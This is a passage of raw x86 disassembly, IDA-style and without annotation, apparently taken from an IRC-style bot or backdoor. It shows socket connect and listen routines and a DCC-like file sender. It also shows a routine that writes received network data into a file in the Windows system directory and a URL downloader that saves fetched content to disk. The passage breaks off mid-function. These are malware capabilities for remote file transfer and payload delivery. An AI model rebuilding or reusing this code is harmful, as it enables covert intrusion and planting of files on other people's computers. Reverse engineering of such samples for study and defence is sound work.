		jz	short loc_416041
		push	[esp+4+arg_0]
		push	esi
		call	sub_418713
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_416053


loc_416041:				; CODE XREF: sub_416026+9j
		add	esi, 80h
		cmp	esi, offset dword_4D5EF8
		jl	short loc_41602C
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_416053:				; CODE XREF: sub_416026+19j
		xor	eax, eax
		pop	esi
		inc	eax
		retn
sub_416026	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416058	proc near		; DATA XREF: sub_401AA1+2802o

var_31C		= byte ptr -31Ch
var_11C		= dword	ptr -11Ch
var_118		= byte ptr -118h
var_98		= byte ptr -98h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 31Ch
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	45h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_11C]
		xor	edx, edx
		rep movsd
		xor	edi, edi
		mov	[ebp+var_8], 80h
		inc	edi
		cmp	[ebp+var_10], edx
		mov	[ebp+var_4], edx
		mov	[eax+110h], edi
		jnz	short loc_4160AB
		push	edx
		lea	eax, [ebp+var_118]
		push	[ebp+var_14]
		push	offset dword_43A1F4
		push	eax
		push	[ebp+var_11C]
		call	sub_409743
		add	esp, 14h


loc_4160AB:				; CODE XREF: sub_416058+33j
		cmp	[ebp+var_98], 0
		jz	short loc_4160CB
		lea	eax, [ebp+var_98]
		push	eax
		call	sub_41BDE9
		test	eax, eax
		pop	ecx
		mov	[ebp+var_4], eax
		jz	short loc_4160CB
		mov	[ebp+var_8], eax


loc_4160CB:				; CODE XREF: sub_416058+5Aj
					; sub_416058+6Ej
		and	[ebp+arg_0], 0
		mov	esi, offset dword_4D1EF8


loc_4160D4:				; CODE XREF: sub_416058+D4j
		mov	eax, [ebp+arg_0]
		cmp	eax, [ebp+var_8]
		jge	short loc_41612E
		cmp	byte ptr [esi],	0
		jz	short loc_41611D
		cmp	[ebp+var_98], 0
		jz	short loc_416103
		cmp	[ebp+var_4], 0
		jnz	short loc_416103
		lea	eax, [ebp+var_98]
		push	eax
		push	esi
		call	sub_418713
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41611D


loc_416103:				; CODE XREF: sub_416058+90j
					; sub_416058+96j
		push	edi
		lea	eax, [ebp+var_118]
		push	[ebp+var_14]
		push	esi
		push	eax
		push	[ebp+var_11C]
		call	sub_409743
		add	esp, 14h


loc_41611D:				; CODE XREF: sub_416058+87j
					; sub_416058+A9j
		inc	[ebp+arg_0]
		add	esi, 80h
		cmp	esi, offset dword_4D5EF8
		jl	short loc_4160D4


loc_41612E:				; CODE XREF: sub_416058+82j
		lea	eax, [ebp+var_31C]
		push	offset dword_43A1C4
		push	eax
		call	sub_41BEF6
		xor	esi, esi
		pop	ecx
		cmp	[ebp+var_10], esi
		pop	ecx
		jnz	short loc_416168
		push	esi
		lea	eax, [ebp+var_31C]
		push	[ebp+var_14]
		push	eax
		lea	eax, [ebp+var_118]
		push	eax
		push	[ebp+var_11C]
		call	sub_409743
		add	esp, 14h


loc_416168:				; CODE XREF: sub_416058+EEj
		lea	eax, [ebp+var_31C]
		push	eax
		call	sub_415F45
		push	[ebp+var_18]
		call	sub_40B56A
		pop	ecx
		pop	ecx
		push	esi
		call	dword_4280D4	; ExitThread
		pop	edi
		pop	esi
sub_416058	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416187	proc near		; CODE XREF: sub_41620D+33p
					; sub_416770+BCp ...

var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		push	edi
		push	0
		push	1
		push	2
		call	dword_4CE388	; socket
		mov	edi, eax
		or	esi, 0FFFFFFFFh
		cmp	edi, esi
		jz	short loc_416203
		push	10h
		lea	eax, [ebp+var_10]
		push	0
		push	eax
		call	sub_41BC00
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+arg_4]
		call	dword_4CE308	; ntohs
		push	[ebp+arg_0]
		mov	[ebp+var_E], ax
		call	dword_4CE348	; inet_addr
		cmp	eax, esi
		jnz	short loc_4161E8
		push	[ebp+arg_0]
		call	dword_4CE38C	; gethostbyname
		test	eax, eax
		jz	short loc_416203
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]


loc_4161E8:				; CODE XREF: sub_416187+4Bj
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	edi
		call	dword_4CE2B0	; connect
		cmp	eax, esi
		jnz	short loc_416207
		push	edi
		call	dword_4CE3A0	; closesocket


loc_416203:				; CODE XREF: sub_416187+1Bj
					; sub_416187+58j
		mov	eax, esi
		jmp	short loc_416209
; ---------------------------------------------------------------------------


loc_416207:				; CODE XREF: sub_416187+73j
		mov	eax, edi


loc_416209:				; CODE XREF: sub_416187+7Ej
		pop	edi
		pop	esi
		leave
		retn
sub_416187	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41620D	proc near		; DATA XREF: sub_401AA1+9CAo

var_11B4	= byte ptr -11B4h
var_1B4		= byte ptr -1B4h
var_1AC		= byte ptr -1ACh
var_94		= byte ptr -94h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 11B4h
		call	sub_41C190
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	6Dh
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_1B4]
		rep movsd
		push	[ebp+var_14]
		xor	esi, esi
		inc	esi
		mov	[eax+1B0h], esi
		lea	eax, [ebp+var_1AC]
		push	eax
		call	sub_416187
		mov	ebx, eax
		pop	ecx
		cmp	ebx, 0FFFFFFFFh
		pop	ecx
		jnz	short loc_4162A0
		lea	eax, [ebp+var_11B4]
		push	offset unk_43A288
		push	eax
		call	sub_41BEF6
		xor	edi, edi
		pop	ecx
		cmp	[ebp+var_8], edi
		pop	ecx
		jnz	short loc_416283
		push	edi
		lea	eax, [ebp+var_11B4]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		push	ebx
		call	sub_409743
		add	esp, 14h


loc_416283:				; CODE XREF: sub_41620D+59j
		lea	eax, [ebp+var_11B4]
		push	eax
		call	sub_415F45
		push	[ebp+var_10]
		call	sub_40B56A
		pop	ecx
		pop	ecx
		push	esi
		call	dword_4280D4	; ExitThread


loc_4162A0:				; CODE XREF: sub_41620D+3Fj
		push	offset byte_4404C4
		push	ebx
		call	sub_41A2D6
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jnz	short loc_41630B
		lea	eax, [ebp+var_11B4]
		push	offset unk_43A258
		push	eax
		call	sub_41BEF6
		xor	edi, edi
		pop	ecx
		cmp	[ebp+var_8], edi
		pop	ecx
		jnz	short loc_4162E7
		push	edi
		lea	eax, [ebp+var_11B4]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		push	ebx
		call	sub_409743
		add	esp, 14h


loc_4162E7:				; CODE XREF: sub_41620D+BDj
		lea	eax, [ebp+var_11B4]
		push	eax
		call	sub_415F45
		pop	ecx
		push	ebx
		call	dword_4CE3A0	; closesocket
		push	[ebp+var_10]
		call	sub_40B56A
		pop	ecx
		push	esi
		call	dword_4280D4	; ExitThread


loc_41630B:				; CODE XREF: sub_41620D+A3j
		push	64h
		call	dword_428080	; Sleep
		xor	edi, edi
		mov	esi, 1000h


loc_41631A:				; CODE XREF: sub_41620D+168j
		push	esi
		lea	eax, [ebp+var_11B4]
		push	edi
		push	eax
		call	sub_41BC00
		add	esp, 0Ch
		lea	eax, [ebp+var_11B4]
		push	edi
		push	esi
		push	eax
		push	ebx
		call	dword_4CE320	; recv
		test	eax, eax
		jle	short loc_416377
		lea	eax, [ebp+var_11B4]
		push	offset asc_42BDD8 ; "\n"
		push	eax
		call	sub_41C530
		lea	eax, [ebp+var_11B4]
		push	eax
		call	sub_41A0C2
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_416377
		push	64h
		call	dword_428080	; Sleep
		push	0Ah
		call	sub_40B496
		test	eax, eax
		pop	ecx
		jnz	short loc_41631A


loc_416377:				; CODE XREF: sub_41620D+130j
					; sub_41620D+154j
		lea	eax, [ebp+var_11B4]
		push	offset unk_43A224
		push	eax
		call	sub_41BEF6
		cmp	[ebp+var_8], edi
		pop	ecx
		pop	ecx
		jnz	short loc_4163AA
		push	edi
		lea	eax, [ebp+var_11B4]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		push	ebx
		call	sub_409743
		add	esp, 14h


loc_4163AA:				; CODE XREF: sub_41620D+180j
		lea	eax, [ebp+var_11B4]
		push	eax
		call	sub_415F45
		pop	ecx
		push	ebx
		call	dword_4CE3A0	; closesocket
		push	[ebp+var_10]
		call	sub_40B56A
		pop	ecx
		push	edi
		call	dword_4280D4	; ExitThread
sub_41620D	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4163CE	proc near		; DATA XREF: sub_401AA1+75FCo

var_A04		= byte ptr -0A04h
var_604		= byte ptr -604h
var_500		= dword	ptr -500h
var_4FC		= dword	ptr -4FCh
var_3FC		= byte ptr -3FCh
var_1FC		= dword	ptr -1FCh
var_1F8		= dword	ptr -1F8h
var_1E0		= byte ptr -1E0h
var_DC		= byte ptr -0DCh
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_48		= byte ptr -48h
var_44		= dword	ptr -44h
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= word ptr -30h
var_2E		= dword	ptr -2Eh
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0A04h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	6Dh
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_1FC]
		rep movsd
		xor	ebx, ebx
		xor	esi, esi
		inc	ebx
		push	esi
		push	ebx
		push	2
		mov	[eax+1B0h], ebx
		mov	[ebp+var_10], esi
		mov	[ebp+var_C], esi
		mov	[ebp+var_20], esi
		call	dword_4CE388	; socket
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp+var_18], edi
		jnz	short loc_41641C
		push	offset unk_43A388
		jmp	loc_4165D5
; ---------------------------------------------------------------------------


loc_41641C:				; CODE XREF: sub_4163CE+42j
		push	10h
		lea	eax, [ebp+var_30]
		push	esi
		push	eax
		call	sub_41BC00
		add	esp, 0Ch
		mov	[ebp+var_30], 2
		push	esi
		call	dword_4CE308	; ntohs
		mov	word ptr [ebp+var_2E], ax
		lea	eax, [ebp+var_30]
		push	10h
		push	eax
		push	edi
		mov	[ebp+var_2E+2],	esi
		call	dword_4CE334	; bind
		test	eax, eax
		jz	short loc_41645A
		push	offset unk_43A364
		jmp	loc_4165D5
; ---------------------------------------------------------------------------


loc_41645A:				; CODE XREF: sub_4163CE+80j
		lea	eax, [ebp+var_1C]
		mov	[ebp+var_1C], 10h
		push	eax
		lea	eax, [ebp+var_30]
		push	eax
		push	edi
		call	dword_4CE2AC	; getsockname
		push	[ebp+var_2E]
		call	dword_4CE238	; ntohs
		mov	[ebp+var_4], eax
		lea	eax, [ebp+var_1E0]
		push	eax
		mov	[ebp+arg_0], esi
		call	sub_41B650
		pop	ecx


loc_41648C:				; CODE XREF: sub_4163CE+EFj
		mov	ecx, [ebp+arg_0]
		mov	al, [ebp+ecx+var_1E0]
		cmp	al, 20h
		jnz	short loc_41649F
		push	5Fh
		pop	eax
		jmp	short loc_4164A2
; ---------------------------------------------------------------------------


loc_41649F:				; CODE XREF: sub_4163CE+CAj
		movsx	eax, al


loc_4164A2:				; CODE XREF: sub_4163CE+CFj
		mov	[ebp+ecx+var_604], al
		lea	eax, [ebp+var_1E0]
		inc	ecx
		push	eax
		mov	[ebp+arg_0], ecx
		call	sub_41B650
		cmp	[ebp+arg_0], eax
		pop	ecx
		jbe	short loc_41648C
		push	ebx
		push	edi
		call	dword_4CE330	; listen
		test	eax, eax
		jz	short loc_4164D5
		push	offset unk_43A288
		jmp	loc_4165D5
; ---------------------------------------------------------------------------


loc_4164D5:				; CODE XREF: sub_4163CE+FBj
		push	esi
		push	esi
		push	3
		push	esi
		push	ebx
		lea	eax, [ebp+var_1E0]
		push	80000000h
		push	eax
		call	dword_4280F8	; CreateFileA
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_8], eax
		jnz	short loc_4164FF
		push	offset unk_43A344
		jmp	loc_4165D5
; ---------------------------------------------------------------------------


loc_4164FF:				; CODE XREF: sub_4163CE+125j
		push	esi
		push	eax
		call	dword_428118	; GetFileSize
		mov	[ebp+arg_0], eax
		push	eax
		movzx	eax, word ptr [ebp+var_4]
		push	eax
		push	[ebp+var_1FC]
		call	sub_40A8D5
		pop	ecx
		push	eax
		call	dword_4CE348	; inet_addr
		push	eax
		call	dword_4CE304	; ntohl
		push	eax
		lea	eax, [ebp+var_1E0]
		push	eax
		lea	eax, [ebp+var_3FC]
		push	offset dword_43A32C
		push	eax
		call	sub_41BEF6
		push	esi
		lea	eax, [ebp+var_3FC]
		push	esi
		push	eax
		lea	eax, [ebp+var_DC]
		push	eax
		push	[ebp+var_1FC]
		call	sub_409743
		add	esp, 2Ch
		lea	eax, [ebp+var_38]
		mov	[ebp+var_38], 3Ch
		mov	[ebp+var_34], esi
		push	eax
		push	esi
		lea	eax, [ebp+var_500]
		push	esi
		push	eax
		push	esi
		mov	[ebp+var_4FC], edi
		mov	[ebp+var_500], ebx
		call	dword_4CE2F0	; select
		test	eax, eax
		jg	short loc_4165AF
		push	esi
		lea	eax, [ebp+var_DC]
		push	[ebp+var_54]
		push	offset dword_43A314
		push	eax
		push	[ebp+var_1FC]
		call	sub_409743
		jmp	loc_4166D3
; ---------------------------------------------------------------------------


loc_4165AF:				; CODE XREF: sub_4163CE+1BFj
		lea	eax, [ebp+var_14]
		mov	[ebp+var_14], 10h
		push	eax
		lea	eax, [ebp+var_48]
		push	eax
		push	edi
		call	dword_4CE39C	; accept
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_1F8], eax
		jnz	short loc_4165E8
		push	offset unk_43A2F0


loc_4165D5:				; CODE XREF: sub_4163CE+49j
					; sub_4163CE+87j ...
		lea	eax, [ebp+var_3FC]
		push	eax
		call	sub_41BEF6
		pop	ecx
		pop	ecx
		jmp	loc_4166D6
; ---------------------------------------------------------------------------


loc_4165E8:				; CODE XREF: sub_4163CE+200j
		push	edi
		call	dword_4CE3A0	; closesocket
		cmp	[ebp+arg_0], esi
		jz	loc_41669A
		mov	edi, 400h


loc_4165FD:				; CODE XREF: sub_4163CE+2C3j
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], edi
		cmp	eax, edi
		jge	short loc_41660A
		mov	[ebp+var_4], eax


loc_41660A:				; CODE XREF: sub_4163CE+237j
		push	edi
		lea	eax, [ebp+var_A04]
		push	esi
		push	eax
		call	sub_41BC00
		mov	eax, [ebp+arg_0]
		add	esp, 0Ch
		neg	eax
		push	2
		push	esi
		push	eax
		push	[ebp+var_8]
		call	dword_42812C	; SetFilePointer
		lea	eax, [ebp+var_20]
		push	esi
		push	eax
		lea	eax, [ebp+var_A04]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_8]
		call	dword_4280EC	; ReadFile
		push	esi
		lea	eax, [ebp+var_A04]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_1F8]
		call	dword_4CE358	; send
		mov	[ebp+var_4], eax
		push	esi
		cdq
		add	[ebp+var_10], eax
		lea	eax, [ebp+var_A04]
		push	edi
		push	eax
		push	[ebp+var_1F8]
		adc	[ebp+var_C], edx
		call	dword_4CE320	; recv
		cmp	eax, ebx
		jl	loc_41672F
		mov	eax, [ebp+var_4]
		cmp	eax, ebx
		jl	loc_41672F
		sub	[ebp+arg_0], eax
		jnz	loc_4165FD
		mov	edi, [ebp+var_18]


loc_41669A:				; CODE XREF: sub_4163CE+224j
		push	[ebp+var_8]
		call	dword_428070	; CloseHandle
		push	[ebp+var_C]
		push	[ebp+var_10]
		call	sub_416EC1
		pop	ecx
		pop	ecx
		push	eax
		push	[ebp+var_44]
		call	dword_4CE394	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_1E0]
		push	eax
		lea	eax, [ebp+var_3FC]
		push	offset unk_43A2C4
		push	eax
		call	sub_41BEF6


loc_4166D3:				; CODE XREF: sub_4163CE+1DCj
		add	esp, 14h


loc_4166D6:				; CODE XREF: sub_4163CE+215j
		cmp	[ebp+var_50], esi
		jnz	short loc_4166FB
		push	esi
		lea	eax, [ebp+var_3FC]
		push	[ebp+var_54]
		push	eax
		lea	eax, [ebp+var_DC]
		push	eax
		push	[ebp+var_1FC]
		call	sub_409743
		add	esp, 14h


loc_4166FB:				; CODE XREF: sub_4163CE+30Bj
		lea	eax, [ebp+var_3FC]
		push	eax
		call	sub_415F45
		cmp	edi, esi
		pop	ecx
		jbe	short loc_416713
		push	edi
		call	dword_4CE3A0	; closesocket


loc_416713:				; CODE XREF: sub_4163CE+33Cj
		push	[ebp+var_1F8]
		call	dword_4CE3A0	; closesocket
		push	[ebp+var_58]
		call	sub_40B56A
		pop	ecx
		push	esi
		call	dword_4280D4	; ExitThread


loc_41672F:				; CODE XREF: sub_4163CE+2AFj
					; sub_4163CE+2BAj
		push	esi
		mov	esi, offset dword_43A2AC
		push	[ebp+var_54]
		lea	eax, [ebp+var_DC]
		push	esi
		push	eax
		push	[ebp+var_1FC]
		call	sub_409743
		push	esi
		call	sub_415F45
		add	esp, 18h
		push	[ebp+var_1F8]
		call	dword_4CE3A0	; closesocket
		push	[ebp+var_58]
		call	sub_40B56A
		pop	ecx
		push	ebx
		call	dword_4280D4	; ExitThread
sub_4163CE	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416770	proc near		; DATA XREF: sub_401AA1+76Do

var_14C4	= byte ptr -14C4h
var_4C4		= byte ptr -4C4h
var_2C4		= byte ptr -2C4h
var_1C0		= dword	ptr -1C0h
var_1B8		= byte ptr -1B8h
var_1A4		= byte ptr -1A4h
var_A0		= byte ptr -0A0h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 14C4h
		call	sub_41C190
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	6Dh
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_1C0]
		rep movsd
		xor	esi, esi
		xor	ebx, ebx
		inc	esi
		push	104h
		mov	[eax+1B0h], esi
		lea	eax, [ebp+var_2C4]
		push	eax
		mov	[ebp+var_8], ebx
		call	dword_42807C	; GetSystemDirectoryA
		lea	eax, [ebp+var_1A4]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B478
		push	eax
		call	sub_41BEF6
		add	esp, 10h
		lea	eax, [ebp+var_2C4]
		push	ebx
		push	80h
		push	2
		push	ebx
		push	esi
		push	40000000h
		push	eax
		call	dword_4280F8	; CreateFileA
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4167FA
		push	offset unk_43A428
		jmp	short loc_416840
; ---------------------------------------------------------------------------


loc_4167FA:				; CODE XREF: sub_416770+81j
		push	eax
		call	dword_428070	; CloseHandle
		lea	eax, [ebp+var_2C4]
		push	offset aAB	; "a+b"
		push	eax
		call	sub_41BB32
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_4], eax
		jnz	short loc_416822
		push	offset unk_43A3F8
		jmp	short loc_416840
; ---------------------------------------------------------------------------


loc_416822:				; CODE XREF: sub_416770+A9j
		push	[ebp+var_20]
		lea	eax, [ebp+var_1B8]
		push	eax
		call	sub_416187
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		mov	[ebp+arg_0], eax
		jnz	short loc_416853
		push	offset unk_43A3D8


loc_416840:				; CODE XREF: sub_416770+88j
					; sub_416770+B0j
		lea	eax, [ebp+var_4C4]
		push	eax
		call	sub_41BEF6
		pop	ecx
		pop	ecx
		jmp	loc_41694D
; ---------------------------------------------------------------------------


loc_416853:				; CODE XREF: sub_416770+C9j
		mov	esi, 1000h


loc_416858:				; CODE XREF: sub_416770+14Ej
		push	esi
		lea	eax, [ebp+var_14C4]
		push	ebx
		push	eax
		call	sub_41BC00
		add	esp, 0Ch
		lea	eax, [ebp+var_14C4]
		push	ebx
		push	esi
		push	eax
		push	[ebp+arg_0]
		call	dword_4CE320	; recv
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_41691F
		cmp	edi, 0FFFFFFFFh
		jz	short loc_4168C0
		push	[ebp+var_4]
		lea	eax, [ebp+var_14C4]
		push	edi
		push	1
		push	eax
		call	sub_41D954
		add	[ebp+var_8], edi
		add	esp, 10h
		push	[ebp+var_8]
		call	dword_4CE304	; ntohl
		mov	[ebp+var_C], eax
		push	ebx
		lea	eax, [ebp+var_C]
		push	4
		push	eax
		push	[ebp+arg_0]
		call	dword_4CE358	; send
		jmp	short loc_416858
; ---------------------------------------------------------------------------


loc_4168C0:				; CODE XREF: sub_416770+118j
		lea	eax, [ebp+var_4C4]
		push	offset dword_43A2AC
		push	eax
		call	sub_41BEF6
		push	ebx
		lea	eax, [ebp+var_4C4]
		push	[ebp+var_18]
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+var_1C0]
		call	sub_409743
		lea	eax, [ebp+var_4C4]
		push	eax
		call	sub_415F45
		push	[ebp+var_4]
		call	sub_41B6CB
		add	esp, 24h
		push	[ebp+arg_0]
		call	dword_4CE3A0	; closesocket
		push	[ebp+var_1C]
		call	sub_40B56A
		pop	ecx
		push	1
		call	dword_4280D4	; ExitThread


loc_41691F:				; CODE XREF: sub_416770+10Fj
		mov	eax, [ebp+var_8]
		cdq
		push	edx
		push	eax
		call	sub_416EC1
		push	eax
		lea	eax, [ebp+var_1B8]
		push	eax
		lea	eax, [ebp+var_1A4]
		push	eax
		lea	eax, [ebp+var_4C4]
		push	offset unk_43A3AC
		push	eax
		call	sub_41BEF6
		add	esp, 1Ch


loc_41694D:				; CODE XREF: sub_416770+DEj
		cmp	[ebp+var_14], ebx
		jnz	short loc_416972
		push	ebx
		lea	eax, [ebp+var_4C4]
		push	[ebp+var_18]
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+var_1C0]
		call	sub_409743
		add	esp, 14h


loc_416972:				; CODE XREF: sub_416770+1E0j
		lea	eax, [ebp+var_4C4]
		push	eax
		call	sub_415F45
		cmp	[ebp+var_4], ebx
		pop	ecx
		jz	short loc_41698D
		push	[ebp+var_4]
		call	sub_41B6CB
		pop	ecx


loc_41698D:				; CODE XREF: sub_416770+212j
		cmp	[ebp+arg_0], ebx
		jbe	short loc_41699B
		push	[ebp+arg_0]
		call	dword_4CE3A0	; closesocket


loc_41699B:				; CODE XREF: sub_416770+220j
		push	[ebp+var_1C]
		call	sub_40B56A
		pop	ecx
		push	ebx
		call	dword_4280D4	; ExitThread
sub_416770	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4169AB	proc near		; DATA XREF: sub_401AA1+615Co
					; sub_401AA1+6985o

var_590		= qword	ptr -590h
var_584		= qword	ptr -584h
var_510		= byte ptr -510h
var_310		= dword	ptr -310h
var_304		= dword	ptr -304h
var_2E4		= dword	ptr -2E4h
var_2E0		= word ptr -2E0h
var_2CC		= dword	ptr -2CCh
var_2C8		= byte ptr -2C8h
var_248		= byte ptr -248h
var_148		= byte ptr -148h
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_24		= byte ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= byte ptr -10h
var_8		= qword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 510h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		mov	ecx, 0AAh
		mov	esi, eax
		lea	edi, [ebp+var_2CC]
		rep movsd
		xor	edi, edi
		xor	esi, esi
		inc	edi
		push	esi
		mov	[eax+2A4h], edi
		push	esi
		push	esi
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		push	dword_4CE2B8
		call	dword_4CE20C	; InternetOpenUrlA
		cmp	eax, esi
		mov	[ebp+var_18], eax
		jz	loc_416E24
		push	esi
		push	esi
		push	2
		push	esi
		push	esi
		lea	eax, [ebp+var_148]
		push	40000000h
		push	eax
		call	dword_4280F8	; CreateFileA
		cmp	eax, edi
		mov	[ebp+var_20], eax
		jnb	short loc_416A72
		lea	eax, [ebp+var_148]
		push	eax
		lea	eax, [ebp+var_510]
		push	offset dword_43A780
		push	eax
		call	sub_41BEF6
		add	esp, 0Ch
		cmp	[ebp+var_30], esi
		jnz	short loc_416A55
		push	esi
		lea	eax, [ebp+var_510]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_2C8]
		push	eax
		push	[ebp+var_2CC]
		call	sub_409743
		add	esp, 14h


loc_416A55:				; CODE XREF: sub_4169AB+88j
		lea	eax, [ebp+var_510]
		push	eax
		call	sub_415F45
		push	[ebp+var_48]
		call	sub_40B56A
		pop	ecx
		pop	ecx
		push	esi
		call	dword_4280D4	; ExitThread


loc_416A72:				; CODE XREF: sub_4169AB+68j
		xor	edi, edi
		call	dword_4280B0	; GetTickCount
		mov	ebx, 7D000h
		mov	dword ptr [ebp+var_8+4], eax
		push	ebx
		call	sub_41BB45
		pop	ecx
		mov	[ebp+var_1C], eax


loc_416A8C:				; CODE XREF: sub_4169AB+1A9j
		push	200h
		lea	eax, [ebp+var_510]
		push	esi
		push	eax
		call	sub_41BC00
		add	esp, 0Ch
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_510]
		push	200h
		push	eax
		push	[ebp+var_18]
		call	dword_4CE214	; InternetReadFile
		cmp	[ebp+var_34], esi
		jz	short loc_416AD0
		push	[ebp+arg_0]
		lea	eax, [ebp+var_510]
		push	eax
		call	sub_416E8A
		pop	ecx
		pop	ecx


loc_416AD0:				; CODE XREF: sub_4169AB+112j
		lea	eax, [ebp+var_24]
		push	esi
		push	eax
		lea	eax, [ebp+var_510]
		push	[ebp+arg_0]
		push	eax
		push	[ebp+var_20]
		call	dword_4280F0	; WriteFile
		cmp	edi, ebx
		jnb	short loc_416B0E
		mov	eax, ebx
		sub	eax, edi
		cmp	eax, [ebp+arg_0]
		jbe	short loc_416AF8
		mov	eax, [ebp+arg_0]


loc_416AF8:				; CODE XREF: sub_4169AB+148j
		push	eax
		lea	eax, [ebp+var_510]
		push	eax
		mov	eax, [ebp+var_1C]
		add	eax, edi
		push	eax
		call	near ptr sub_41C9B0
		add	esp, 0Ch


loc_416B0E:				; CODE XREF: sub_4169AB+13Fj
		add	edi, [ebp+arg_0]
		cmp	[ebp+var_3C], esi
		jz	short loc_416B1B
		cmp	edi, [ebp+var_3C]
		ja	short loc_416B5A


loc_416B1B:				; CODE XREF: sub_4169AB+169j
		mov	eax, edi
		shr	eax, 0Ah
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		mov	eax, [ebp+var_48]
		imul	eax, 234h
		add	eax, offset dword_441048
		cmp	[ebp+var_44], 1
		jz	short loc_416B43
		push	offset dword_43A730
		jmp	short loc_416B48
; ---------------------------------------------------------------------------


loc_416B43:				; CODE XREF: sub_4169AB+18Fj
		push	offset dword_43A6E0


loc_416B48:				; CODE XREF: sub_4169AB+196j
		push	eax
		call	sub_41BEF6
		add	esp, 10h
		cmp	[ebp+arg_0], esi
		ja	loc_416A8C


loc_416B5A:				; CODE XREF: sub_4169AB+16Ej
		cmp	[ebp+var_3C], esi
		mov	[ebp+var_14], 1
		jz	short loc_416BAF
		cmp	edi, [ebp+var_3C]
		jz	short loc_416BAF
		push	[ebp+var_3C]
		lea	eax, [ebp+var_510]
		mov	[ebp+var_14], esi
		push	edi
		push	offset dword_43A690
		push	eax
		call	sub_41BEF6
		push	esi
		lea	eax, [ebp+var_510]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_2C8]
		push	eax
		push	[ebp+var_2CC]
		call	sub_409743
		lea	eax, [ebp+var_510]
		push	eax
		call	sub_415F45
		add	esp, 28h


loc_416BAF:				; CODE XREF: sub_4169AB+1B9j
					; sub_4169AB+1BEj
		call	dword_4280B0	; GetTickCount
		sub	eax, dword ptr [ebp+var_8+4]
		xor	edx, edx
